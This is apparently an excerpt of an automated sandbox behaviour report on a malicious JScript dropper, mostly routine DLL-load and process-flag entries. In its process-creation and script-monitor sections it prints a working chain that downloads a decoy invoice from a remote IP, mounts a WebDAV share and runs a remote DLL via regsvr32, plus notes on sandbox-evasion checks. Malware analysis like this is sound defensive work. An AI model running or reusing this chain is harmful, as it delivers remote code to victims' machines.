Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3248.js.csv");ITextStream.WriteLine(" entry:7471 f:fdfbt");ITextStream.WriteLine(" exec:2 f:fdfbt");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6219			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3602			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3736	Thread sleep count: 6219 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3736	Thread sleep count: 3602 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6344	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5724	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 816	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7832	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.1276591677.000002037FB10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 0000000D.00000002.1369097402.0000026037AD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWr
Source: net.exe, 0000000D.00000002.1369097402.0000026037AD7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1369097402.0000026037A78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2556440657.0000017F65054000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2556399474.0000017F65041000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2555507506.0000017F5FA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
